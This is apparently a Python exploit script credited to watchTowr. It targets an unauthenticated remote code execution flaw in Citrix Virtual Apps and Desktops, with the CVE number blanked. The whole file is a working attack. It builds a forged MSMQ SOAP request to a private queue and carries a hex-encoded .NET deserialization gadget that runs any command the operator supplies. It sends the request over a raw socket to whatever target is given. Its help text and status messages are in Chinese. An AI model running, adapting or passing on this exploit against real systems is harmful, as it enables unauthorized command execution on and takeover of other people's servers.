import socket import random from uuid import uuid4 from datetime import datetime, timedelta import argparse def print_banner(): banner = """ CVE-xxxx-xxxxx.py (*) Citrix Virtual Apps and Desktops Unauthenticated Remote Code Execution (CVE-xxxx-xxxxx) exploit by watchTowr - Sina Kheirkhah (@SinSinology), watchTowr (sina@watchTowr.com) CVEs: [CVE-xxxx-xxxxx] """ print(banner) def parse_arguments(): parser = argparse.ArgumentParser() parser.add_argument('--target', '-t', type=str, help='目标的IP地址', required=True) parser.add_argument('--cmd', '-c', type=str, help='要执行的命令', required=True) parser.add_argument('--port', '-p', type=int, help='目标端口', required=False, default=80) return parser.parse_args() def generate_payload(target, cmd): cmd = ("/c " + cmd).encode() cmdlen = len(cmd) random_boundary = "MSMQ - SOAP boundary, " + str(random.randint(100000000, 999999999)) random_guid = str(uuid4()) random_int = str(random.randint(1000, 9999)) sentAt = datetime.now() expiresAt = sentAt + timedelta(days=4) sentAt_str = sentAt.strftime('%Y%m%dT%H%M%S') TTrq = expiresAt.strftime('%Y%m%dT%H%M%S') var_first = f"""POST /msmq/private$/citrixsmaudeventdata HTTP/1.1\r Host: {target}\r Content-Type: multipart/related; boundary="{random_boundary}"; type=text/xml\r Content-Length: REPLACE_FULL_SIZE\r SOAPAction: "MSMQMessage"\r Proxy-Accept: NonInteractiveClient\r \r --{random_boundary}\r Content-Type: text/xml; charset=UTF-8\r Content-Length: REPLACE_XML_SIZE\r \r """ the_xml = f"""MSMQ:HTTP://{target}/msmq/Private$/CitrixSmAudEventDatauuid:{random_int}@{random_guid}20380119T031407{sentAt_str}03AAAAAAAAAAAAAAAAAAAAAAAAAAA=076832782{random_guid}{TTrq}""".encode('utf-8') var_third = f"""--{random_boundary}\r Content-Type: application/octet-stream\r Content-Length: REPLACE_MESSAGE_SIZE\r Content-Id: body@{random_guid}\r \r """ the_msg = bytes.fromhex("00 01 00 00 00 FF FF FF FF 01 00 00 00 00 00 00 00 0C 02 00 00 00 49 53 79 73 74 65 6D 2C 20 56 65 72 73 69 6F 6E 3D 34 2E 30 2E 30 2E 30 2C 20 43 75 6C 74 75 72 65 3D 6E 65 75 74 72 61 6C 2C 20 50 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39" + "05 01 00 00 00 84 01 53 79 73 74 65 6D 2E 43 6F 6C 6C 65 63 74 69 6F 6E 73 2E 47 65 6E 65 72 69 63 2E 53 6F 72 74 65 64 53 65 74 60 31" + "5B 5B 53 79 73 74 65 6D 2E 53 74 72 69 6E 67 2C 20 6D 73 63 6F 72 6C 69 62 2C 20 56 65 72 73 69 6F 6E 3D 34 2E 30 2E 30 2E 30 2C 20 43 75 6C 74 75 72 65 3D 6E 65 75 74 72 61 6C 2C 20 50 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39") + int.to_bytes(cmdlen, 4, 'big') + cmd the_end = f"--{random_boundary}--\r\n" xml_size = len(the_xml) message_size = len(the_msg) var_first = var_first.replace("REPLACE_XML_SIZE", str(xml_size)) var_third = var_third.replace("REPLACE_MESSAGE_SIZE", str(message_size)) final_payload = var_first.encode() + the_xml + var_third.encode() + the_msg + the_end.encode() final_payload = final_payload.replace(b"REPLACE_FULL_SIZE", str(len(final_payload[final_payload.index(b"--MSMQ"):])).encode()) return final_payload def send_payload(target, port, payload): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.send(payload) s.close() print(f"[INFO] 已成功向 {target} 发送命令!") except: print(f"[ERROR] 无法连接到目标 {target} 的端口 {port}!") exit(1) def main(): print_banner() args = parse_arguments() payload = generate_payload(args.target, args.cmd) send_payload(args.target, args.port, payload) if __name__ == "__main__": main()